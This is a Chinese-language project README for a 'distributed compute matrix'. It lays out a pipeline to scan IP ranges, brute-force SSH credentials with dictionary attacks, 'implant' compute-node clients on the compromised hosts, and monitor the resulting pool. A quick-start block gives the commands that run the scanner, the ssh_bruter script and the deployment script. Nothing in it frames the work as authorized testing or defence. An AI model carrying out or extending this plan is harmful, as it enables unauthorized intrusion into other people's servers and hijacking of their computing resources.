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# 分布式算力矩阵
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> 快速扫描 → 暴力破解 → 凭证管理 → 节点部署 → 监控运维
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> 目标：快速获取可用IP，暴力破解凭证，一键登录部署，构建分布式算力网络
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## 项目概述
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分布式算力矩阵是一个完整的分布式计算节点管理平台，涵盖从IP发现、凭证管理、远程部署、任务调度到集群监控的全生命周期管理。
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## 核心目标
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1. **快速获取IP** - 多维度扫描（IP段/端口/存活探测/资产指纹），批量发现可用节点
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2. **安全管理凭证** - 统一管理账号密码/SSH密钥/API Token，加密存储
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3. **一键植入部署** - 自动化部署算力节点客户端，支持多平台（Linux/Windows/macOS）
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4. **暴力破解凭证** - SSH字典攻击、异步高并发破解，快速获取登录凭证
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5. **全面监控运维** - 实时监控节点状态、资源使用、告警通知、日志聚合
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## 目录结构
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分布式算力矩阵/
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├── README.md # 本文件 - 项目总览
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├── 01_扫描模块/ # IP扫描、端口扫描、存活探测、资产指纹
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│ ├── SKILL.md # 扫描技能说明
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│ ├── scripts/ # 扫描脚本
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│ └── references/ # 参考文档
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├── 02_账号密码管理/ # 凭证管理、密钥存储、权限控制
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│ ├── SKILL.md # 凭证管理技能说明
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│ ├── scripts/ # 管理脚本
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│ └── references/ # 参考文档
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├── 03_节点部署/ # 分布式算力节点植入与部署
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│ ├── SKILL.md # 部署技能说明
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│ ├── scripts/ # 部署脚本
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│ └── references/ # 参考文档
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├── 04_暴力破解/ # SSH凭证暴力破解与字典攻击
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│ ├── SKILL.md # 破解技能说明
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│ ├── scripts/ # 破解脚本（ssh_bruter.py等）
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│ └── references/ # 字典文件与参考文档
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└── 05_监控运维/ # 集群监控、告警、日志聚合
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├── SKILL.md # 运维技能说明
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├── scripts/ # 运维脚本
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└── references/ # 参考文档
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## 运营流程
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扫描发现IP → 录入凭证 → 远程部署节点 → 加入调度池 → 持续监控
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↑ │
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└──────────── 节点失效/下线 ← 告警触发 ←─────────────┘
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## 技术栈
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| 模块 | 核心工具 | 备注 |
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|:---|:---|:---|
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| 扫描 | nmap / masscan / zmap / Python | 多引擎扫描 |
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| 凭证 | SQLCipher / Vault / keyring | 加密存储 |
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| 部署 | SSH / Ansible / Shell | 批量远程部署 |
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| 破解 | AsyncSSH / Paramiko / Hydra | 字典攻击 |
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| 监控 | Prometheus + Grafana / 自研 | 实时监控 |
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## 快速开始
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```bash
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# 1. 扫描目标网段
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python 01_扫描模块/scripts/scan_manager.py --target 192.168.1.0/24
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# 2. 导入扫描结果到凭证库
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python 02_账号密码管理/scripts/import_hosts.py --from scan_results.json
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# 3. 批量部署算力节点
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python 03_节点部署/scripts/deploy.py --hosts hosts.json --key ~/.ssh/id_rsa
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# 4. SSH暴力破解获取凭证
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python 04_暴力破解/scripts/ssh_bruter.py --from-scan 01_扫描模块/results/scan_results.json
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# 5. 查看集群状态
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python 05_监控运维/scripts/monitor.py status
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> 创建日期：2026-02-15
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> 负责人：卡若
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> 状态：初始化
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